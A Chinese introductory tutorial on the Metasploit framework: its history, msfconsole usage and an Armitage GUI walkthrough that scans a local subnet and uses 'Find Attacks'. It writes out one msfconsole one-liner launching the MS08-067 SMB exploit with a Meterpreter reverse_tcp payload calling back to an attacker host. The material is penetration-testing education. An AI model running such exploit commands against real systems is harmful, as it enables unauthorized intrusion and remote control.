什么是Metasploit

Metasploit是一款开源的安全漏洞检测工具。

它可以帮助用户识别安全问题,验证漏洞的缓解措施,并对某些软件进行安全性评估,提供真正的安全风险情报。当我们第一次接触Metasploit渗透测试框架软件(MSF)时,可能会被它提供如此多的接口、选项、变量和模块所震撼,而感觉无所适从。Metasploit软件为它的基础功能提供了多个用户接口,包括终端、命令行和图形化界面等。

Metasploit背景和安装

2003年,HD Moore开发了开源项目Metasploit。

2007年,Metasploit使用Ruby重构,原本用的是Perl。

2009年,Rapid7买下了它,这是一家生产了漏洞扫描器Nexpose的信息安全公司。

Metasploit当前版本是4.9.3,Kali Linux默认安装。BackTrack里也有。如果你们使用其它版本的Linux或者Unix(包括Mac OS),可以去Rapid7官网下载。

Windows使用者也可以从Rapid7获取Windows版本,不过不建议在Windows上使用Metasploit。因为虽然可以下载安装,但是有些攻击框架的功能没能移植到Windows上,而且在Null Byte这里的很多攻击方式也没法工作在Windows上。

使用Metasploit的方式

有几种方式可以访问Metasploit。最通常的方式,也是我使用的方式,是通过Metasploit交互控制台。在Kali的命令行中输入msfconsole即可使用。以下是其它的方式:

Msfcli(已不能使用)

首先,我们可以从命令行使用Metasploit,即msfcli模式。看起来我们只是在控制台下使用命令行,实际上我们正使用着一个有特殊关键字和命令支持的交互对话框。通过msfcli,我们是真的在使用Linux命令行。

我们可以通过以下命令进入帮助页面:

kali > msfcli -h

但在新版metasploit中Msfcli不再有效,作为取代,我们可以在* Msfconsole 使用 -x 选项*。

比如说:

root@kali:~# msfconsole -x "use   exploit/windows/smb/ms08_067_netapi; set RHOST  [192.168.128.1]; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST [192.168.128.128]; run"

这样就可以直接使用啦!但是这种方式只能用单条指令(shell),执行一些复杂的漏洞攻击程序(exploits)就不太可能了。

这一部分与平时实验重叠。

Armitage

Armitage组件是Metasploit框架中一个完全交互式的图形化用户接口,由Raphael Mudge所开发。Armitage工具包含Metasploit控制台,通过使用其标签特性,用户可以看到多个Metasploit控制台或多个Meterpreter会话。

Armitage是基于C/S架构的Metasploit图形界面。启动Metasploit作为服务端,Armitage作为客户端,我们就有了一个可以使用Metasploit完整功能的完整——但不是完全直观——图形界面。

想通过图形界面使用Metasploit,那么我们有好几个选择。

1.在Kali启动Armitage,简单键入:

kali > armitage

如图Armitage:

2.如果Armitage连接失败,尝试以下替代命令:

kali > service start postgresql

kali > service start metasploit

kali > service stop metasploit

图Armitage1:

3.当然我们也可以直接经过这种方式。。。

如图另一种方式:

但是在使用Armitage工具前,必须将Metasploit服务启动!否则,无法运行Armitage工具。因为Armitage需要连接到Metasploit服务,才可以启动。在Kali桌面依次选择“应用程序”|Kali Linux|“系统服务”|Metasploit|community/pro start命令启动Metasploit服务,

图metasploit:

或者直接在命令行输入msfconsole

图msfconsole:

将输出如下所示的信息:

[ ok ] Starting PostgreSQL 9.1 database server: main.
Configuring Metasploit…
Creating metasploit database user 'msf3'…
Creating metasploit database 'msf3'…
insserv: warning: current start runlevel(s) (empty) of script `metasploit' overrides LSB defaults (2 3 4 5).
insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script `metasploit' overrides LSB defaults (0 1 6).

从输出的信息中可以看到++PostgreSQL 9.1++数据库服务已启动,并创建了数据库用户和数据库。

我们跟进一下连接界面,

图连接界面:

该界面显示了连接Metasploit的一个进度。当成功连接到Metasploit服务的话,将显示如下图所示的界面。

图:

该界面共有三个部分,这里把它们分别标记为A、B和C 。下面分别介绍这三部分。

1)A:这部分显示的是预配置模块。用户可以在模块列表中使用空格键搜索提供的模块。

2)B:这部分显示活跃的目标系统,用户能执行利用漏洞攻击。

3)C:这部分显示多个Metasploit标签。这样,就可以运行多个Meterpreter命令或控制台会话,并且同时显示。

实例

我们现在就拿Armitage做个实例。

(1)启动Armitage工具,界面如之前所示。从该界面可以看到默认没有扫描到任何主机。这里通过扫描,找到本网络中的所有主机。

(2)在Armitage工具的菜单栏中依次选择Hosts|Nmap Scan|Quick Scan命令。

(3)在该界面输入要扫描的网络范围,这里输入的网络范围是192.168.41.0/24。然后单击“确定”按钮,将开始扫描。扫描完成后,将显示如下图所示的界面。

图输入IP:

(4)从该界面可以看到,弹出了一个扫描完成对话框,此时单击“确定”按钮即可。并且在目标系统的窗口中,显示了三台主机。这三台主机就是扫描到的主机。从扫描完成的对话框中可以看到提示建议选择Attacks|Find Attacks命令,将可以渗透攻击目标系统

(5)在菜单栏中依次选择Attacks|Find Attacks命令,运行完后将显示如图所示的界面。

图attacks:

(6)从该界面可以看到攻击分析完成,并且右击扫描到的主机将会看到有一个Attack菜单

图显示attacks:

(7)从该界面可以看到在目标主机的菜单中出现了Attack选项,在该菜单中共有五个选项。在没有运行Find Attacks命令前,只要Services、Scan和Host三个选项。这里扫描到的主机屏幕都是黑色,这是因为还没有识别出操作系统的类型。此时可以在菜单栏中依次选择Hosts|Nmap Scan|Quick Scan(OS detect)命令,扫描操作系统类型。扫描完成后,将显示操作系统的默认图标。

(8)扫描操作系统。扫描完成后,将显示下图所示的界面

图操作系统:

Metasploit简单应用的更多相关文章

  1. Metasploit 简单渗透应用

    1.Metasploit端口扫描: 在终端输入msfconsole或直接从应用选metasploit 进入msf>nmap -v -sV 192.168.126.128  与nmap结果一样 用 ...

  2. Metasploit简单使用——后渗透阶段

    在上文中我们复现了永恒之蓝漏洞,这里我们学习一下利用msf简单的后渗透阶段的知识/ 一.meterperter常用命令 sysinfo #查看目标主机系统信息 run scraper #查看目标主机详 ...

  3. Metasploit Framework(1)基本命令、简单使用

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 基本的控制台命令介绍: banner 查看metasp ...

  4. Metasploit学习记录---Nessus简单使用

    1.更新插件 上次搭建完后总觉得不踏实,因为老是提示插件多久没更新了,然后果断花了1.25美刀买了台vps,终于把最新的插件下载下来了,总共190M,需要的QQ私信我.

  5. [转]初探Metasploit的自动攻击

    1. 科普Metasploit   以前只是个Back Track操作系统(简称:BT) 下的攻击框架,自成继承了后攻击渗透模块,隐隐有成为攻击平台的趋势. 我们都戏称它为美少妇,很简单,msf. 它 ...

  6. metasploit渗透初探MR.robot(一)

    看了MR.robot,有一种研究渗透技术的冲动, 网上也看了些教程,要从kali linux说起, 下载vmware 12,http://www.vmware.com/go/tryworkstatio ...

  7. chapter1 渗透测试与metasploit

    网络对抗技术课程学习 chapter1 渗透测试与metasploit 一.读书笔记 二.渗透测试 通过模拟恶意攻击者的技术与方法进行攻击,挫败目标系统安全控制措施,取得访问控制权,并发现具备业务影响 ...

  8. metasploit模块功能介绍

    metasploit的模块构成及功能分析  转载自----http://forum.cnsec.org/thread-94704-1-1.html 今天我们介绍一下metasploit的基础架构和 市 ...

  9. kali linux 系列教程之metasploit 连接postgresql可能遇见的问题

    kali linux 系列教程之metasploit 连接postgresql可能遇见的问题 文/玄魂   目录 kali linux 下metasploit 连接postgresql可能遇见的问题. ...

随机推荐

  1. Spring Boot -05- 多模块结构项目构建与测试(详细图文教程)IDEA 版

    Spring Boot -05- 多模块结构项目构建与测试(详细图文教程)IDEA 版 百度很多博客都不详细,弄了半天才把 Spring Boot 多模块项目构建开发整的差不多,特地重新创建配置,记录 ...

  2. TSQL使用ADHOC访问Excle文件

    如题,今天正好碰到这个问题,现将相关知识点记录如下: --开启高级配置功能 reconfigure --开启导入功能 reconfigure --允许在进程中使用ACE.OLEDB.12 --允许使用 ...

  3. Sql Server2008R2下载地址

    ed2k://%7Cfile%7Ccn_sql_server_2008_r2_enterprise_x86_x64_ia64_dvd_522233.iso%7C4662884352%7C1DB0252 ...

  4. ASP.NET动态引用样式表(css)和脚本(js)文件

    // 引入js文件 HtmlGenericControl scriptControl = new HtmlGenericControl("script"); scriptContr ...

  5. linux正则表达式(基础正则表达式+扩展正则表达式)

    正则表达式应用非常广泛,例如:php,Python,java等,但在linux中最常用的正则表达式的命令就是grep(egrep),sed,awk等,换句话 说linux三剑客要想能工作的更高效,就一 ...

  6. python基础学习20----线程

    什么是线程 线程,有时被称为轻量进程(Lightweight Process,LWP),是程序执行流的最小单元.一个标准的线程由线程ID,当前指令指针(PC),寄存器集合和堆栈组成.另外,线程是进程中 ...

  7. 在Ubuntu17.04中遇到无法清空回收站解决方法

    在Ubuntu17.04下,遇到清空回收站文件时报错,提示”Failed to delete the item from the trash”,无法清空回收站. 回收站其实就是一个文件夹,存放着被删掉 ...

  8. TiDB数据库 mydumper与loader导入数据

    从mysql导出数据最好的方法是使用tidb官方的工具mydumper. 导入tidb最好的方法是使用loader工具,大概19.4G每小时的速度. 详细的步骤可以参考官网:https://pingc ...

  9. 乘风破浪:LeetCode真题_037_Sudoku Solver

    乘风破浪:LeetCode真题_037_Sudoku Solver 一.前言 这次我们对于上次的模型做一个扩展并求解. 二.Sudoku Solver 2.1 问题 2.2 分析与解决     这道题 ...

  10. [技术] OIer的C++标准库 : STL入门

    注: 本文主要摘取STL在OI中的常用技巧应用, 所以可能会重点说明容器部分和算法部分, 且不会讨论所有支持的函数/操作并主要讨论 C++11 前支持的特性. 如果需要详细完整的介绍请自行查阅标准文档 ...